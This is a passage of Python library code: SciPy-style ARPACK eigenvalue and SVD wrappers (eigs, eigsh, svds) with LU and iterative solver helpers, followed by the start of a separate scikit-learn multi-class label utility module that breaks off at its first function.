            # Arrange the eigenvectors: complex eigenvectors are stored as
            # real,imaginary in consecutive columns
            z = zr.astype(self.tp.upper())

            # The ARPACK nonsymmetric real and double interface (s,d)naupd
            # return eigenvalues and eigenvectors in real (float,double)
            # arrays.

            # Efficiency: this should check that return_eigenvectors == True
            #  before going through this construction.
            if sigmai == 0:
                i = 0
                while i <= k:
                    # check if complex
                    if abs(d[i].imag) != 0:
                        # this is a complex conjugate pair with eigenvalues
                        # in consecutive columns
                        if i < k:
                            z[:, i] = zr[:, i] + 1.0j * zr[:, i + 1]
                            z[:, i + 1] = z[:, i].conjugate()
                            i += 1
                        else:
                            # last eigenvalue is complex: the imaginary part of
                            # the eigenvector has not been returned
                            # this can only happen if nreturned > k, so we'll
                            # throw out this case.
                            nreturned -= 1
                    i += 1

            else:
                # real matrix, mode 3 or 4, imag(sigma) is nonzero:
                # see remark 3 in <s,d>neupd.f
                # Build complex eigenvalues from real and imaginary parts
                i = 0
                while i <= k:
                    if abs(d[i].imag) == 0:
                        d[i] = np.dot(zr[:, i], self.matvec(zr[:, i]))
                    else:
                        if i < k:
                            z[:, i] = zr[:, i] + 1.0j * zr[:, i + 1]
                            z[:, i + 1] = z[:, i].conjugate()
                            d[i] = ((np.dot(zr[:, i],
                                            self.matvec(zr[:, i])) +
                                     np.dot(zr[:, i + 1],
                                            self.matvec(zr[:, i + 1]))) +
                                    1j * (np.dot(zr[:, i],
                                          self.matvec(zr[:, i + 1])) -
                                          np.dot(zr[:, i + 1],
                                          self.matvec(zr[:, i]))))
                            d[i + 1] = d[i].conj()
                            i += 1
                        else:
                            # last eigenvalue is complex: the imaginary part of
                            # the eigenvector has not been returned
                            # this can only happen if nreturned > k, so we'll
                            # throw out this case.
                            nreturned -= 1
                    i += 1

            # Now we have k+1 possible eigenvalues and eigenvectors
            # Return the ones specified by the keyword "which"

            if nreturned <= k:
                # we got less or equal as many eigenvalues we wanted
                d = d[:nreturned]
                z = z[:, :nreturned]
            else:
                # we got one extra eigenvalue (likely a cc pair, but which?)
                # cut at approx precision for sorting
                rd = np.round(d, decimals=_ndigits[self.tp])
                if self.which in ['LR', 'SR']:
                    ind = np.argsort(rd.real)
                elif self.which in ['LI', 'SI']:
                    # for LI,SI ARPACK returns largest,smallest
                    # abs(imaginary) why?
                    ind = np.argsort(abs(rd.imag))
                else:
                    ind = np.argsort(abs(rd))
                if self.which in ['LR', 'LM', 'LI']:
                    d = d[ind[-k:]]
                    z = z[:, ind[-k:]]
                if self.which in ['SR', 'SM', 'SI']:
                    d = d[ind[:k]]
                    z = z[:, ind[:k]]
        else:
            # complex is so much simpler...
            d, z, ierr =\
                    self._arpack_extract(return_eigenvectors,
                           howmny, sselect, self.sigma, workev,
                           self.bmat, self.which, k, self.tol, self.resid,
                           self.v, self.iparam, self.ipntr,
                           self.workd, self.workl, self.rwork, ierr)

            if ierr != 0:
                raise ArpackError(ierr, infodict=self.extract_infodict)

            k_ok = self.iparam[4]
            d = d[:k_ok]
            z = z[:, :k_ok]

        if return_eigenvectors:
            return d, z
        else:
            return d


def _aslinearoperator_with_dtype(m):
    m = aslinearoperator(m)
    if not hasattr(m, 'dtype'):
        x = np.zeros(m.shape[1])
        m.dtype = (m * x).dtype
    return m


class SpLuInv(LinearOperator):
    """
    SpLuInv:
       helper class to repeatedly solve M*x=b
       using a sparse LU-decopposition of M
    """
    def __init__(self, M):
        self.M_lu = splu(M)
        self.shape = M.shape
        self.dtype = M.dtype
        self.isreal = not np.issubdtype(self.dtype, np.complexfloating)

    def _matvec(self, x):
        # careful here: splu.solve will throw away imaginary
        # part of x if M is real
        x = np.asarray(x)
        if self.isreal and np.issubdtype(x.dtype, np.complexfloating):
            return (self.M_lu.solve(np.real(x).astype(self.dtype)) +
                    1j * self.M_lu.solve(np.imag(x).astype(self.dtype)))
        else:
            return self.M_lu.solve(x.astype(self.dtype))


class LuInv(LinearOperator):
    """
    LuInv:
       helper class to repeatedly solve M*x=b
       using an LU-decomposition of M
    """
    def __init__(self, M):
        self.M_lu = lu_factor(M)
        self.shape = M.shape
        self.dtype = M.dtype

    def _matvec(self, x):
        return lu_solve(self.M_lu, x)


class IterInv(LinearOperator):
    """
    IterInv:
       helper class to repeatedly solve M*x=b
       using an iterative method.
    """
    def __init__(self, M, ifunc=gmres, tol=0):
        if tol <= 0:
            # when tol=0, ARPACK uses machine tolerance as calculated
            # by LAPACK's _LAMCH function.  We should match this
            tol = 2 * np.finfo(M.dtype).eps
        self.M = M
        self.ifunc = ifunc
        self.tol = tol
        if hasattr(M, 'dtype'):
            self.dtype = M.dtype
        else:
            x = np.zeros(M.shape[1])
            self.dtype = (M * x).dtype
        self.shape = M.shape

    def _matvec(self, x):
        b, info = self.ifunc(self.M, x, tol=self.tol)
        if info != 0:
            raise ValueError("Error in inverting M: function "
                             "%s did not converge (info = %i)."
                             % (self.ifunc.__name__, info))
        return b


class IterOpInv(LinearOperator):
    """
    IterOpInv:
       helper class to repeatedly solve [A-sigma*M]*x = b
       using an iterative method
    """
    def __init__(self, A, M, sigma, ifunc=gmres, tol=0):
        if tol <= 0:
            # when tol=0, ARPACK uses machine tolerance as calculated
            # by LAPACK's _LAMCH function.  We should match this
            tol = 2 * np.finfo(A.dtype).eps
        self.A = A
        self.M = M
        self.sigma = sigma
        self.ifunc = ifunc
        self.tol = tol

        def mult_func(x):
            return A.matvec(x) - sigma * M.matvec(x)

        def mult_func_M_None(x):
            return A.matvec(x) - sigma * x

        x = np.zeros(A.shape[1])
        if M is None:
            dtype = mult_func_M_None(x).dtype
            self.OP = LinearOperator(self.A.shape,
                                     mult_func_M_None,
                                     dtype=dtype)
        else:
            dtype = mult_func(x).dtype
            self.OP = LinearOperator(self.A.shape,
                                     mult_func,
                                     dtype=dtype)
        self.shape = A.shape

    def _matvec(self, x):
        b, info = self.ifunc(self.OP, x, tol=self.tol)
        if info != 0:
            raise ValueError("Error in inverting [A-sigma*M]: function "
                             "%s did not converge (info = %i)."
                             % (self.ifunc.__name__, info))
        return b

    @property
    def dtype(self):
        return self.OP.dtype


def get_inv_matvec(M, symmetric=False, tol=0):
    if isdense(M):
        return LuInv(M).matvec
    elif isspmatrix(M):
        if isspmatrix_csr(M) and symmetric:
            M = M.T
        return SpLuInv(M).matvec
    else:
        return IterInv(M, tol=tol).matvec


def get_OPinv_matvec(A, M, sigma, symmetric=False, tol=0):
    if sigma == 0:
        return get_inv_matvec(A, symmetric=symmetric, tol=tol)

    if M is None:
        # M is the identity matrix
        if isdense(A):
            if (np.issubdtype(A.dtype, np.complexfloating) or
               np.imag(sigma) == 0):
                A = np.copy(A)
            else:
                A = A + 0j
            A.flat[::A.shape[1] + 1] -= sigma
            return LuInv(A).matvec
        elif isspmatrix(A):
            A = A - sigma * identity(A.shape[0])
            if symmetric and isspmatrix_csr(A):
                A = A.T
            return SpLuInv(A.tocsc()).matvec
        else:
            return IterOpInv(_aslinearoperator_with_dtype(A),
                             M, sigma, tol=tol).matvec
    else:
        if ((not isdense(A) and not isspmatrix(A)) or
                (not isdense(M) and not isspmatrix(M))):
            return IterOpInv(_aslinearoperator_with_dtype(A),
                             _aslinearoperator_with_dtype(M),
                             sigma, tol=tol).matvec
        elif isdense(A) or isdense(M):
            return LuInv(A - sigma * M).matvec
        else:
            OP = A - sigma * M
            if symmetric and isspmatrix_csr(OP):
                OP = OP.T
            return SpLuInv(OP.tocsc()).matvec


def _eigs(A, k=6, M=None, sigma=None, which='LM', v0=None,
          ncv=None, maxiter=None, tol=0, return_eigenvectors=True,
          Minv=None, OPinv=None, OPpart=None):
    """
    Find k eigenvalues and eigenvectors of the square matrix A.

    Solves ``A * x[i] = w[i] * x[i]``, the standard eigenvalue problem
    for w[i] eigenvalues with corresponding eigenvectors x[i].

    If M is specified, solves ``A * x[i] = w[i] * M * x[i]``, the
    generalized eigenvalue problem for w[i] eigenvalues
    with corresponding eigenvectors x[i]

    Parameters
    ----------
    A : ndarray, sparse matrix or LinearOperator
        An array, sparse matrix, or LinearOperator representing
        the operation ``A * x``, where A is a real or complex square matrix.
    k : int, optional
        The number of eigenvalues and eigenvectors desired.
        `k` must be smaller than N. It is not possible to compute all
        eigenvectors of a matrix.
    M : ndarray, sparse matrix or LinearOperator, optional
        An array, sparse matrix, or LinearOperator representing
        the operation M*x for the generalized eigenvalue problem

            A * x = w * M * x.

        M must represent a real, symmetric matrix if A is real, and must
        represent a complex, hermitian matrix if A is complex. For best
        results, the data type of M should be the same as that of A.
        Additionally:

            If `sigma` is None, M is positive definite

            If sigma is specified, M is positive semi-definite

        If sigma is None, eigs requires an operator to compute the solution
        of the linear equation ``M * x = b``.  This is done internally via a
        (sparse) LU decomposition for an explicit matrix M, or via an
        iterative solver for a general linear operator.  Alternatively,
        the user can supply the matrix or operator Minv, which gives
        ``x = Minv * b = M^-1 * b``.
    sigma : real or complex, optional
        Find eigenvalues near sigma using shift-invert mode.  This requires
        an operator to compute the solution of the linear system
        ``[A - sigma * M] * x = b``, where M is the identity matrix if
        unspecified. This is computed internally via a (sparse) LU
        decomposition for explicit matrices A & M, or via an iterative
        solver if either A or M is a general linear operator.
        Alternatively, the user can supply the matrix or operator OPinv,
        which gives ``x = OPinv * b = [A - sigma * M]^-1 * b``.
        For a real matrix A, shift-invert can either be done in imaginary
        mode or real mode, specified by the parameter OPpart ('r' or 'i').
        Note that when sigma is specified, the keyword 'which' (below)
        refers to the shifted eigenvalues ``w'[i]`` where:

            If A is real and OPpart == 'r' (default),
              ``w'[i] = 1/2 * [1/(w[i]-sigma) + 1/(w[i]-conj(sigma))]``.

            If A is real and OPpart == 'i',
              ``w'[i] = 1/2i * [1/(w[i]-sigma) - 1/(w[i]-conj(sigma))]``.

            If A is complex, ``w'[i] = 1/(w[i]-sigma)``.

    v0 : ndarray, optional
        Starting vector for iteration.
        Default: random
    ncv : int, optional
        The number of Lanczos vectors generated
        `ncv` must be greater than `k`; it is recommended that ``ncv > 2*k``.
        Default: ``min(n, 2*k + 1)``
    which : str, ['LM' | 'SM' | 'LR' | 'SR' | 'LI' | 'SI'], optional
        Which `k` eigenvectors and eigenvalues to find:

            'LM' : largest magnitude

            'SM' : smallest magnitude

            'LR' : largest real part

            'SR' : smallest real part

            'LI' : largest imaginary part

            'SI' : smallest imaginary part

        When sigma != None, 'which' refers to the shifted eigenvalues w'[i]
        (see discussion in 'sigma', above).  ARPACK is generally better
        at finding large values than small values.  If small eigenvalues are
        desired, consider using shift-invert mode for better performance.
    maxiter : int, optional
        Maximum number of Arnoldi update iterations allowed
        Default: ``n*10``
    tol : float, optional
        Relative accuracy for eigenvalues (stopping criterion)
        The default value of 0 implies machine precision.
    return_eigenvectors : bool, optional
        Return eigenvectors (True) in addition to eigenvalues
    Minv : ndarray, sparse matrix or LinearOperator, optional
        See notes in M, above.
    OPinv : ndarray, sparse matrix or LinearOperator, optional
        See notes in sigma, above.
    OPpart : {'r' or 'i'}, optional
        See notes in sigma, above

    Returns
    -------
    w : ndarray
        Array of k eigenvalues.
    v : ndarray
        An array of `k` eigenvectors.
        ``v[:, i]`` is the eigenvector corresponding to the eigenvalue w[i].

    Raises
    ------
    ArpackNoConvergence
        When the requested convergence is not obtained.
        The currently converged eigenvalues and eigenvectors can be found
        as ``eigenvalues`` and ``eigenvectors`` attributes of the exception
        object.

    See Also
    --------
    eigsh : eigenvalues and eigenvectors for symmetric matrix A
    svds : singular value decomposition for a matrix A

    Notes
    -----
    This function is a wrapper to the ARPACK [1]_ SNEUPD, DNEUPD, CNEUPD,
    ZNEUPD, functions which use the Implicitly Restarted Arnoldi Method to
    find the eigenvalues and eigenvectors [2]_.

    References
    ----------
    .. [1] ARPACK Software, http://www.caam.rice.edu/software/ARPACK/
    .. [2] R. B. Lehoucq, D. C. Sorensen, and C. Yang,  ARPACK USERS GUIDE:
       Solution of Large Scale Eigenvalue Problems by Implicitly Restarted
       Arnoldi Methods. SIAM, Philadelphia, PA, 1998.

    Examples
    --------
    Find 6 eigenvectors of the identity matrix:

    >>> import scipy.sparse as sparse
    >>> id = np.eye(13)
    >>> vals, vecs = sparse.linalg.eigs(id, k=6)
    >>> vals
    array([ 1.+0.j,  1.+0.j,  1.+0.j,  1.+0.j,  1.+0.j,  1.+0.j])
    >>> vecs.shape
    (13, 6)

    """
    if A.shape[0] != A.shape[1]:
        raise ValueError('expected square matrix (shape=%s)' % (A.shape,))
    if M is not None:
        if M.shape != A.shape:
            raise ValueError('wrong M dimensions %s, should be %s'
                             % (M.shape, A.shape))
        if np.dtype(M.dtype).char.lower() != np.dtype(A.dtype).char.lower():
            import warnings
            warnings.warn('M does not have the same type precision as A. '
                          'This may adversely affect ARPACK convergence')
    n = A.shape[0]

    if k <= 0 or k >= n:
        raise ValueError("k=%d must be between 1 and ndim(A)-1=%d"
                         % (k, n - 1))

    if sigma is None:
        matvec = _aslinearoperator_with_dtype(A).matvec

        if OPinv is not None:
            raise ValueError("OPinv should not be specified "
                             "with sigma = None.")
        if OPpart is not None:
            raise ValueError("OPpart should not be specified with "
                             "sigma = None or complex A")

        if M is None:
            # standard eigenvalue problem
            mode = 1
            M_matvec = None
            Minv_matvec = None
            if Minv is not None:
                raise ValueError("Minv should not be "
                                 "specified with M = None.")
        else:
            # general eigenvalue problem
            mode = 2
            if Minv is None:
                Minv_matvec = get_inv_matvec(M, symmetric=True, tol=tol)
            else:
                Minv = _aslinearoperator_with_dtype(Minv)
                Minv_matvec = Minv.matvec
            M_matvec = _aslinearoperator_with_dtype(M).matvec
    else:
        # sigma is not None: shift-invert mode
        if np.issubdtype(A.dtype, np.complexfloating):
            if OPpart is not None:
                raise ValueError("OPpart should not be specified "
                                 "with sigma=None or complex A")
            mode = 3
        elif OPpart is None or OPpart.lower() == 'r':
            mode = 3
        elif OPpart.lower() == 'i':
            if np.imag(sigma) == 0:
                raise ValueError("OPpart cannot be 'i' if sigma is real")
            mode = 4
        else:
            raise ValueError("OPpart must be one of ('r','i')")

        matvec = _aslinearoperator_with_dtype(A).matvec
        if Minv is not None:
            raise ValueError("Minv should not be specified when sigma is")
        if OPinv is None:
            Minv_matvec = get_OPinv_matvec(A, M, sigma,
                                           symmetric=False, tol=tol)
        else:
            OPinv = _aslinearoperator_with_dtype(OPinv)
            Minv_matvec = OPinv.matvec
        if M is None:
            M_matvec = None
        else:
            M_matvec = _aslinearoperator_with_dtype(M).matvec

    params = _UnsymmetricArpackParams(n, k, A.dtype.char, matvec, mode,
                                      M_matvec, Minv_matvec, sigma,
                                      ncv, v0, maxiter, which, tol)

    while not params.converged:
        params.iterate()

    return params.extract(return_eigenvectors)


def _eigsh(A, k=6, M=None, sigma=None, which='LM', v0=None,
           ncv=None, maxiter=None, tol=0, return_eigenvectors=True,
           Minv=None, OPinv=None, mode='normal'):
    """
    Find k eigenvalues and eigenvectors of the real symmetric square matrix
    or complex hermitian matrix A.

    Solves ``A * x[i] = w[i] * x[i]``, the standard eigenvalue problem for
    w[i] eigenvalues with corresponding eigenvectors x[i].

    If M is specified, solves ``A * x[i] = w[i] * M * x[i]``, the
    generalized eigenvalue problem for w[i] eigenvalues
    with corresponding eigenvectors x[i]

    Parameters
    ----------
    A : An N x N matrix, array, sparse matrix, or LinearOperator representing
        the operation A * x, where A is a real symmetric matrix
        For buckling mode (see below) A must additionally be positive-definite
    k : int, optional
        The number of eigenvalues and eigenvectors desired.
        `k` must be smaller than N. It is not possible to compute all
        eigenvectors of a matrix.

    Returns
    -------
    w : array
        Array of k eigenvalues
    v : array
        An array representing the `k` eigenvectors.  The column ``v[:, i]`` is
        the eigenvector corresponding to the eigenvalue ``w[i]``.

    Other Parameters
    ----------------
    M : An N x N matrix, array, sparse matrix, or linear operator representing
        the operation M * x for the generalized eigenvalue problem

            A * x = w * M * x.

        M must represent a real, symmetric matrix if A is real, and must
        represent a complex, hermitian matrix if A is complex. For best
        results, the data type of M should be the same as that of A.
        Additionally:

            If sigma is None, M is symmetric positive definite

            If sigma is specified, M is symmetric positive semi-definite

            In buckling mode, M is symmetric indefinite.

        If sigma is None, eigsh requires an operator to compute the solution
        of the linear equation ``M * x = b``. This is done internally via a
        (sparse) LU decomposition for an explicit matrix M, or via an
        iterative solver for a general linear operator.  Alternatively,
        the user can supply the matrix or operator Minv, which gives
        ``x = Minv * b = M^-1 * b``.
    sigma : real
        Find eigenvalues near sigma using shift-invert mode.  This requires
        an operator to compute the solution of the linear system
        `[A - sigma * M] x = b`, where M is the identity matrix if
        unspecified.  This is computed internally via a (sparse) LU
        decomposition for explicit matrices A & M, or via an iterative
        solver if either A or M is a general linear operator.
        Alternatively, the user can supply the matrix or operator OPinv,
        which gives ``x = OPinv * b = [A - sigma * M]^-1 * b``.
        Note that when sigma is specified, the keyword 'which' refers to
        the shifted eigenvalues ``w'[i]`` where:

            if mode == 'normal', ``w'[i] = 1 / (w[i] - sigma)``.

            if mode == 'cayley', ``w'[i] = (w[i] + sigma) / (w[i] - sigma)``.

            if mode == 'buckling', ``w'[i] = w[i] / (w[i] - sigma)``.

        (see further discussion in 'mode' below)
    v0 : ndarray, optional
        Starting vector for iteration.
        Default: random
    ncv : int, optional
        The number of Lanczos vectors generated ncv must be greater than k and
        smaller than n; it is recommended that ``ncv > 2*k``.
        Default: ``min(n, 2*k + 1)``
    which : str ['LM' | 'SM' | 'LA' | 'SA' | 'BE']
        If A is a complex hermitian matrix, 'BE' is invalid.
        Which `k` eigenvectors and eigenvalues to find:

            'LM' : Largest (in magnitude) eigenvalues

            'SM' : Smallest (in magnitude) eigenvalues

            'LA' : Largest (algebraic) eigenvalues

            'SA' : Smallest (algebraic) eigenvalues

            'BE' : Half (k/2) from each end of the spectrum

        When k is odd, return one more (k/2+1) from the high end.
        When sigma != None, 'which' refers to the shifted eigenvalues ``w'[i]``
        (see discussion in 'sigma', above).  ARPACK is generally better
        at finding large values than small values.  If small eigenvalues are
        desired, consider using shift-invert mode for better performance.
    maxiter : int, optional
        Maximum number of Arnoldi update iterations allowed
        Default: ``n*10``
    tol : float
        Relative accuracy for eigenvalues (stopping criterion).
        The default value of 0 implies machine precision.
    Minv : N x N matrix, array, sparse matrix, or LinearOperator
        See notes in M, above
    OPinv : N x N matrix, array, sparse matrix, or LinearOperator
        See notes in sigma, above.
    return_eigenvectors : bool
        Return eigenvectors (True) in addition to eigenvalues
    mode : string ['normal' | 'buckling' | 'cayley']
        Specify strategy to use for shift-invert mode.  This argument applies
        only for real-valued A and sigma != None.  For shift-invert mode,
        ARPACK internally solves the eigenvalue problem
        ``OP * x'[i] = w'[i] * B * x'[i]``
        and transforms the resulting Ritz vectors x'[i] and Ritz values w'[i]
        into the desired eigenvectors and eigenvalues of the problem
        ``A * x[i] = w[i] * M * x[i]``.
        The modes are as follows:

            'normal' :
                OP = [A - sigma * M]^-1 * M,
                B = M,
                w'[i] = 1 / (w[i] - sigma)

            'buckling' :
                OP = [A - sigma * M]^-1 * A,
                B = A,
                w'[i] = w[i] / (w[i] - sigma)

            'cayley' :
                OP = [A - sigma * M]^-1 * [A + sigma * M],
                B = M,
                w'[i] = (w[i] + sigma) / (w[i] - sigma)

        The choice of mode will affect which eigenvalues are selected by
        the keyword 'which', and can also impact the stability of
        convergence (see [2] for a discussion)

    Raises
    ------
    ArpackNoConvergence
        When the requested convergence is not obtained.

        The currently converged eigenvalues and eigenvectors can be found
        as ``eigenvalues`` and ``eigenvectors`` attributes of the exception
        object.

    See Also
    --------
    eigs : eigenvalues and eigenvectors for a general (nonsymmetric) matrix A
    svds : singular value decomposition for a matrix A

    Notes
    -----
    This function is a wrapper to the ARPACK [1]_ SSEUPD and DSEUPD
    functions which use the Implicitly Restarted Lanczos Method to
    find the eigenvalues and eigenvectors [2]_.

    References
    ----------
    .. [1] ARPACK Software, http://www.caam.rice.edu/software/ARPACK/
    .. [2] R. B. Lehoucq, D. C. Sorensen, and C. Yang,  ARPACK USERS GUIDE:
       Solution of Large Scale Eigenvalue Problems by Implicitly Restarted
       Arnoldi Methods. SIAM, Philadelphia, PA, 1998.

    Examples
    --------
    >>> import scipy.sparse as sparse
    >>> id = np.eye(13)
    >>> vals, vecs = sparse.linalg.eigsh(id, k=6)
    >>> vals
    array([ 1.,  1.,  1.,  1.,  1.,  1.])
    >>> vecs.shape
    (13, 6)

    """
    # complex hermitian matrices should be solved with eigs
    if np.issubdtype(A.dtype, np.complexfloating):
        if mode != 'normal':
            raise ValueError("mode=%s cannot be used with "
                             "complex matrix A" % mode)
        if which == 'BE':
            raise ValueError("which='BE' cannot be used with complex matrix A")
        elif which == 'LA':
            which = 'LR'
        elif which == 'SA':
            which = 'SR'
        ret = eigs(A, k, M=M, sigma=sigma, which=which, v0=v0,
                   ncv=ncv, maxiter=maxiter, tol=tol,
                   return_eigenvectors=return_eigenvectors, Minv=Minv,
                   OPinv=OPinv)

        if return_eigenvectors:
            return ret[0].real, ret[1]
        else:
            return ret.real

    if A.shape[0] != A.shape[1]:
        raise ValueError('expected square matrix (shape=%s)' % (A.shape,))
    if M is not None:
        if M.shape != A.shape:
            raise ValueError('wrong M dimensions %s, should be %s'
                             % (M.shape, A.shape))
        if np.dtype(M.dtype).char.lower() != np.dtype(A.dtype).char.lower():
            import warnings
            warnings.warn('M does not have the same type precision as A. '
                          'This may adversely affect ARPACK convergence')
    n = A.shape[0]

    if k <= 0 or k >= n:
        raise ValueError("k must be between 1 and the order of the "
                         "square input matrix.")

    if sigma is None:
        A = _aslinearoperator_with_dtype(A)
        matvec = A.matvec

        if OPinv is not None:
            raise ValueError("OPinv should not be specified "
                             "with sigma = None.")
        if M is None:
            # standard eigenvalue problem
            mode = 1
            M_matvec = None
            Minv_matvec = None
            if Minv is not None:
                raise ValueError("Minv should not be "
                                 "specified with M = None.")
        else:
            # general eigenvalue problem
            mode = 2
            if Minv is None:
                Minv_matvec = get_inv_matvec(M, symmetric=True, tol=tol)
            else:
                Minv = _aslinearoperator_with_dtype(Minv)
                Minv_matvec = Minv.matvec
            M_matvec = _aslinearoperator_with_dtype(M).matvec
    else:
        # sigma is not None: shift-invert mode
        if Minv is not None:
            raise ValueError("Minv should not be specified when sigma is")

        # normal mode
        if mode == 'normal':
            mode = 3
            matvec = None
            if OPinv is None:
                Minv_matvec = get_OPinv_matvec(A, M, sigma,
                                               symmetric=True, tol=tol)
            else:
                OPinv = _aslinearoperator_with_dtype(OPinv)
                Minv_matvec = OPinv.matvec
            if M is None:
                M_matvec = None
            else:
                M = _aslinearoperator_with_dtype(M)
                M_matvec = M.matvec

        # buckling mode
        elif mode == 'buckling':
            mode = 4
            if OPinv is None:
                Minv_matvec = get_OPinv_matvec(A, M, sigma,
                                               symmetric=True, tol=tol)
            else:
                Minv_matvec = _aslinearoperator_with_dtype(OPinv).matvec
            matvec = _aslinearoperator_with_dtype(A).matvec
            M_matvec = None

        # cayley-transform mode
        elif mode == 'cayley':
            mode = 5
            matvec = _aslinearoperator_with_dtype(A).matvec
            if OPinv is None:
                Minv_matvec = get_OPinv_matvec(A, M, sigma,
                                               symmetric=True, tol=tol)
            else:
                Minv_matvec = _aslinearoperator_with_dtype(OPinv).matvec
            if M is None:
                M_matvec = None
            else:
                M_matvec = _aslinearoperator_with_dtype(M).matvec

        # unrecognized mode
        else:
            raise ValueError("unrecognized mode '%s'" % mode)

    params = _SymmetricArpackParams(n, k, A.dtype.char, matvec, mode,
                                    M_matvec, Minv_matvec, sigma,
                                    ncv, v0, maxiter, which, tol)

    while not params.converged:
        params.iterate()

    return params.extract(return_eigenvectors)


def _augmented_orthonormal_cols(x, k):
    # extract the shape of the x array
    n, m = x.shape
    # create the expanded array and copy x into it
    y = np.empty((n, m+k), dtype=x.dtype)
    y[:, :m] = x
    # do some modified gram schmidt to add k random orthonormal vectors
    for i in range(k):
        # sample a random initial vector
        v = np.random.randn(n)
        if np.iscomplexobj(x):
            v = v + 1j*np.random.randn(n)
        # subtract projections onto the existing unit length vectors
        for j in range(m+i):
            u = y[:, j]
            v -= (np.dot(v, u.conj()) / np.dot(u, u.conj())) * u
        # normalize v
        v /= np.sqrt(np.dot(v, v.conj()))
        # add v into the output array
        y[:, m+i] = v
    # return the expanded array
    return y


def _augmented_orthonormal_rows(x, k):
    return _augmented_orthonormal_cols(x.T, k).T


def _herm(x):
    return x.T.conj()


def _svds(A, k=6, ncv=None, tol=0, which='LM', v0=None,
          maxiter=None, return_singular_vectors=True):
    """Compute the largest k singular values/vectors for a sparse matrix.

    Parameters
    ----------
    A : {sparse matrix, LinearOperator}
        Array to compute the SVD on, of shape (M, N)
    k : int, optional
        Number of singular values and vectors to compute.
    ncv : int, optional
        The number of Lanczos vectors generated
        ncv must be greater than k+1 and smaller than n;
        it is recommended that ncv > 2*k
        Default: ``min(n, 2*k + 1)``
    tol : float, optional
        Tolerance for singular values. Zero (default) means machine precision.
    which : str, ['LM' | 'SM'], optional
        Which `k` singular values to find:

            - 'LM' : largest singular values
            - 'SM' : smallest singular values

        .. versionadded:: 0.12.0
    v0 : ndarray, optional
        Starting vector for iteration, of length min(A.shape). Should be an
        (approximate) left singular vector if N > M and a right singular
        vector otherwise.
        Default: random

        .. versionadded:: 0.12.0
    maxiter : int, optional
        Maximum number of iterations.

        .. versionadded:: 0.12.0
    return_singular_vectors : bool or str, optional
        - True: return singular vectors (True) in addition to singular values.

        .. versionadded:: 0.12.0

        - "u": only return the u matrix, without computing vh (if N > M).
        - "vh": only return the vh matrix, without computing u (if N <= M).

        .. versionadded:: 0.16.0

    Returns
    -------
    u : ndarray, shape=(M, k)
        Unitary matrix having left singular vectors as columns.
        If `return_singular_vectors` is "vh", this variable is not computed,
        and None is returned instead.
    s : ndarray, shape=(k,)
        The singular values.
    vt : ndarray, shape=(k, N)
        Unitary matrix having right singular vectors as rows.
        If `return_singular_vectors` is "u", this variable is not computed,
        and None is returned instead.


    Notes
    -----
    This is a naive implementation using ARPACK as an eigensolver
    on A.H * A or A * A.H, depending on which one is more efficient.

    """
    if not (isinstance(A, LinearOperator) or isspmatrix(A)):
        A = np.asarray(A)

    n, m = A.shape

    if isinstance(A, LinearOperator):
        if n > m:
            X_dot = A.matvec
            X_matmat = A.matmat
            XH_dot = A.rmatvec
        else:
            X_dot = A.rmatvec
            XH_dot = A.matvec

            dtype = getattr(A, 'dtype', None)
            if dtype is None:
                dtype = A.dot(np.zeros([m, 1])).dtype

            # A^H * V; works around lack of LinearOperator.adjoint.
            # XXX This can be slow!
            def X_matmat(V):
                out = np.empty((V.shape[1], m), dtype=dtype)
                for i, col in enumerate(V.T):
                    out[i, :] = A.rmatvec(col.reshape(-1, 1)).T
                return out.T

    else:
        if n > m:
            X_dot = X_matmat = A.dot
            XH_dot = _herm(A).dot
        else:
            XH_dot = A.dot
            X_dot = X_matmat = _herm(A).dot

    def matvec_XH_X(x):
        return XH_dot(X_dot(x))

    XH_X = LinearOperator(matvec=matvec_XH_X, dtype=A.dtype,
                          shape=(min(A.shape), min(A.shape)))

    # Get a low rank approximation of the implicitly defined gramian matrix.
    # This is not a stable way to approach the problem.
    eigvals, eigvec = eigsh(XH_X, k=k, tol=tol ** 2, maxiter=maxiter,
                            ncv=ncv, which=which, v0=v0)

    # In 'LM' mode try to be clever about small eigenvalues.
    # Otherwise in 'SM' mode do not try to be clever.
    if which == 'LM':

        # Gramian matrices have real non-negative eigenvalues.
        eigvals = np.maximum(eigvals.real, 0)

        # Use the sophisticated detection of small eigenvalues from pinvh.
        t = eigvec.dtype.char.lower()
        factor = {'f': 1E3, 'd': 1E6}
        cond = factor[t] * np.finfo(t).eps
        cutoff = cond * np.max(eigvals)

        # Get a mask indicating which eigenpairs are not degenerately tiny,
        # and create the re-ordered array of thresholded singular values.
        above_cutoff = (eigvals > cutoff)
        nlarge = above_cutoff.sum()
        nsmall = k - nlarge
        slarge = np.sqrt(eigvals[above_cutoff])
        s = np.zeros_like(eigvals)
        s[:nlarge] = slarge
        if not return_singular_vectors:
            return s

        if n > m:
            vlarge = eigvec[:, above_cutoff]
            ularge = X_matmat(vlarge) / slarge if return_singular_vectors != 'vh' else None
            vhlarge = _herm(vlarge)
        else:
            ularge = eigvec[:, above_cutoff]
            vhlarge = _herm(X_matmat(ularge) / slarge) if return_singular_vectors != 'u' else None

        u = _augmented_orthonormal_cols(ularge, nsmall) if ularge is not None else None
        vh = _augmented_orthonormal_rows(vhlarge, nsmall) if vhlarge is not None else None

    elif which == 'SM':

        s = np.sqrt(eigvals)
        if not return_singular_vectors:
            return s

        if n > m:
            v = eigvec
            u = X_matmat(v) / s if return_singular_vectors != 'vh' else None
            vh = _herm(v)
        else:
            u = eigvec
            vh = _herm(X_matmat(u) / s) if return_singular_vectors != 'u' else None

    else:

        raise ValueError("which must be either 'LM' or 'SM'.")

    return u, s, vh


# Redefine the backported function
if scipy.version.version >= LooseVersion('0.12'):
    from scipy.sparse.linalg import eigs, eigsh, svds
else:
    eigs, eigsh, svds = _eigs, _eigsh, _svds







# Author: Arnaud Joly, Joel Nothman, Hamzeh Alsalhi
#
# License: BSD 3 clause
"""
Multi-class / multi-label utility function
==========================================

"""
from __future__ import division
from collections import Sequence
from itertools import chain

from scipy.sparse import issparse
from scipy.sparse.base import spmatrix
from scipy.sparse import dok_matrix
from scipy.sparse import lil_matrix

import numpy as np

from ..externals.six import string_types
from .validation import check_array
from ..utils.fixes import bincount
from ..utils.fixes import array_equal


def _unique_multiclass(y):
    if hasattr(y, '__array__'):
        return np.unique(np.asarray(y))
    else:
        return set(y)


def _unique_indicator(y):
    return np.arange(check_array(y, ['csr', 'csc', 'coo']).shape[1])


_FN_UNIQUE_LABELS = {
    'binary': _unique_multiclass,
    'multiclass': _unique_multiclass,
    'multilabel-indicator': _unique_indicator,
}


def unique_labels(*ys):
